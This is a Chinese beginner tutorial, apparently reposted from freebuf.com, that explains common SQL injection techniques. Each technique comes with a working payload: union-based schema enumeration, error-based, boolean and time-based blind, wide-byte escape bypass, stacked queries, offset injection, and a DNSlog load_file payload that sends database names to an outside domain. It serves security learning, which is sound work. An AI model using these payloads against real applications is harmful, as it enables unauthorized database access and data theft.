初学SQL注入之常见的几种注入类型介绍 – 作者:s1mple

SQL注入原理

老生常谈,SQL注入攻击的本质就是把用户输入的参数当做SQL语句来执行,Web应用程序对用户输入数据的合法性没有判断和过滤,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。比如增删改查等,如果数据库的用户权限足够大,还可以对操作系统执行操作。

这里需要满足2个条件:

1.用户可以控制自己的输入

2.输入得参数可以被拼接成sql语句执行。

危害:造成信息泄露,上传webshell,篡改网页信息等。

SQL注入分类

0x00 联合注入

原理没什么好说的,最简单的一种注入方式,下面直接介绍一下手注的过程。

1.判断是否存在注入点

http://127.0.0.1/test.php?id=1and 1=1 页面显示正常

http://127.0.0.1/test.php?id=1and 1=2 页面显示错误

也可以用id=1’、id=-1、id=2-1、and1>0等方式。

2.用order by猜字段数

order by的作用是对字段进行一个排序,如order by 5,根据第五个字段进行排序,如果一共有4个字段,你输入order by 5系统就会报错不知道怎么排序,所以可以用order by来判断有多少个字段。

http://127.0.0.1/test.php?id=1 order by 5页面显示正常

http://127.0.0.1/test.php?id=1 order by 6页面显示错误,说明存在5个字段

3.联合查询寻找输出点

select * from news where id=12333 union select 1,2,3,4

  • 注:这里有时候需要将前面的id写一个不会回显的参数,否则有的时候数据会覆盖到我们需要显示出来的数据。

4.查询库名

http://127.0.0.1/test.php?id=1 union select 1,2,3,database()

5.查询表名

在mysql5.0以上的版本中加入了information_schema这个系统自带库,可以看到里面用数据库可以查询到表名,用表名可以查询到字段,我们可以加以利用。

information_schema.tables存放着表名和库名的对应

构造语句:union select 1,table_name,3,4 from information_schema.tables where table_schema=’库名’ limit 0,1

limit m,n 其中m代表了从哪个位置(从0开始),n代表着查询几条数据。

也可以用group_concat()把多条数据并在一起输出。

6.查询字段

information_schema.columns存放着字段名和表名的对应

构造语句:union select 1,column_name,3,4 from information_schema.columns where table_name=’表名’

0x01 http-header注入

有时候开发人员为了验证客户端头信息,或者获取客户端的一些信息,会对客户端的http-header信息进行获取并使用sql语句进行处理,头注入就是将请求头中的数据放入数据库当做命令执行。

User-Agent:服务器能够识别客户使用的操作系统及版本、浏览器版本等。

Cookie:网站为了辨别用户身份,进行session跟踪而储存在用户本地终端上的数据。

Rerferer:告诉服务器我是从哪个页面链接过来的。

X-Forward-For:简称XFF头,代表http请求端真实的IP,一般在用了http代理或者负载均衡服务器会用到。

0x02 报错注入

在SQL注入攻击过程中,服务器开启了错误回显,页面会返回错误信息,利用报错函数获取数据库数据。

一: updatexml()

updatexml(XML_document, XPath_string, new_value);

简单来说就是updatexml(目标xml内容,xml文档路径,更新的内容)

我们在xml文档路径的位置写入了子查询,和特殊字符拼接在一起,因为不符合输入路径规则然后报错,先执行了子查询我们可以得到库名。0x7e是16进制里面的“~”,是一个特殊符号,不符合路径规则报错

语句:select * from aaa where id=1 and updatexml(1,concat(0x7e,(select user()),1)

图片[1]-初学SQL注入之常见的几种注入类型介绍 – 作者:s1mple-安全小百科

二:floor()

floor和count和group by三个函数在一起会产生报错。

语句:select * from aaa where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

三: extractvalue()

原理和updatexml一样。

语句:select * from aaa where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

0x03 布尔型盲注

利用场景:有些网站没有输出点,且关闭了错误回显。

这里以mysql为例,需要用到的几个函数。

length():函数的返回值为字符串的字节长度。

substr():截取字符串,用法substr(string, start,length)

string-指定的要截取的字符串  start-规定在字符串的何处开始 length-指定要截取的字符串长度

ascii():返回字符串中第一个字符的ascii值

1:使用length()函数猜数据库名长度

如length(database())>10,页面显示正常。

length(database())>20,页面显示不正常。

length(database())=9,页面显示正常。

我们可以用二分法猜解得到数据库的长度。

2:利用ascii猜数据库名

and (ascii(substr(database(),1,1)))=100,如果页面返回正常,说明数据库名称第一位是d

3:猜字段名

and (ascii(substr((select column_name from information_schema.columns where table_name=’aaa’ limit 0,1),1,1)))>100

0x04 延时注入

有时候我们会遇到一种情况,无论怎么操作页面都是返回正常,这时我们可以考虑用延时注入。

这里用mysql举例,需要用到两个函数。

sleep():执行挂起一段时间,也就是等待一段时间在继续执行。

例:select  * from  users where id=1 and sleep(5);   /* 5秒之后执行SQL语句*/

if(expr1,expr2,expr3):expr1为0或者null或者false,则返回 expr3 ; 否则,返回expr2。

构造语句:and if(ascii(substr(database(),1,1))=100,0,sleep(10))

如果库名第一个字符是d,则网页延时10秒。

一些其他注入:

0x05 宽字节注入

在一些老版本的php中可以开启防御函数magic_quotes_gpc,也叫魔术引号,作用是判断用户提交的数据,包括有get、post、cookie过来的数据里面的特殊字符增加转义字符”\”,以确保这些数据不会因为特殊字符引起的污染而出现致命的错误。单引号(‘)、双引号(“)、反斜线(\)等字符都会被加上反斜线。

因为单引号和双引号里面的内容都是字符串,如果我们输入的东西不能闭合掉单引号双引号,就无法产生sql注入,在新版本中虽然取消了魔术引号,但是很多cms依然会用一些函数替代,比如addslashes()等。

那么我们怎么逃逸出这个转义呢?这时候可以使用宽字节注入。

原理:如果程序设计数据库编码的时候设置了非英文编码,php发送请求到mysql时经过一次gbk编码,因为gbk是双字节编码,当设置gbk编码后,遇到了连续两个字节都符合gbk取值范围,会自动解析成一个汉字,输入%df%27,本来\会转义%27(’),但\(%5c)的编码数为92,%df的编码数为223,符合取值范围,于是%df%5c会解析成为一个汉字“運”,单引号就逃逸了出来,从而绕过转义造成注入。

  • 注:1.POST注入并不会进行URL转码,所以需要改hex。
  • 2.在查询时用到的表名字段名不能用原来的‘admin’形式,这时候可以转换十六进制,或者用子查询。
  • 3.还可以用汉字绕过。

0x06 堆叠注入

在SQL中,分号用来表示一条sql语句的结束,我们在;结束语句后面再构造下一条语句,这就造成了堆叠注入。

产生场景:mysql_multi_query() 支持多条sql语句同时执行,只要权限够,我们可以进行增删改查。

实例语句:‘;select * from admins;show database() %23

0x07 DNSlog注入

利用场景:在某些无法直接利用漏洞获得回显时如果用盲注来做效率低下且容易被waf拦截,但是目标可以发起请求,这个时候我们可以通过DNS解析把我们想要获得的数据外带出来。

注入过程:通过子查询将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查询该日志。

这里需要用到一个mysql函数LOAD_FILE():读取一个文件并将其内容作为字符串返回。

LOAD_FILE(file_name),file_name是文件的完整路径。

要使用这个函数,需要满足下面三个条件:

  1. 文件必须位于服务器主机上
  2. 必须指定完整路径的文件,且必须有FILE权限。
  3. 该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)。

该功能不是默认开启的,需要在mysql配置文件加上一句secure_file_priv=

这里还需要了解一个概念就是UNC路径:什么是UNC路径?UNC路径就是类似\\softer这样的形式的网络路径。格式:\\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。

目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\\servername\sharename\directory\filename。

UNC路径其实是windows有个叫做SMB的服务。

DNSlog平台:dnslog.cn

构造语句:and(select load_file(concat(‘//‘,(select database()),’.xxxxx.dnslog.cn/abc’)))

0x08 偏移注入

使用sql注入的时候,我们会遇到一些无法查询表名字段名的时候,比如access数据库没有系统自带库。

使用场景:当你猜到表名但是无法猜到字段名的情况下可以使用。

以access数据库为例,假设我们已经通过爆破得到我们要查询的表名为admin

1.判断字段:

用order by判断一共有15个字段

2.爆出显示位:

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from admin

假设输出点在3,4,5

3.偏移注入判断admin表里的字段数为6

union select 1,2,3,4,5,6,7,8,9,10,11,12,*,14,15 from admin 页面报错

union select 1,2,3,4,5,6,7,8,9,* from admin 页面正常

  • *等价于admin.* 表示admin表里面的所有字段

4.获取字段名

我们假设admin里面的6个字段为a,b,c,d,e,f

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from admin等价为union select 1,2,3,4,5,6,7,8,9, * from admin

因为输出点在3,4,5那么

union select 1,2, *,9,10,11,12,13,14,15 from admin

是不是等于union select 1,2,a,b,c,d,e,f,9,10,11,12,13,14,15 from admin

那么我们就可以得到a,b,c的数据

我们可以继续移动位置union select 1,admin.*,8,9,10,11,12,13,14,15 from admin

这样我们就可以的b,c,d的数据,但是我们怎么也无法得到f的数据,所以偏移注入也是有局限的,原本要查询的字段数越多,输出点越多,就越有利。

来源:freebuf.com 2020-12-03 11:26:01 by: s1mple

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论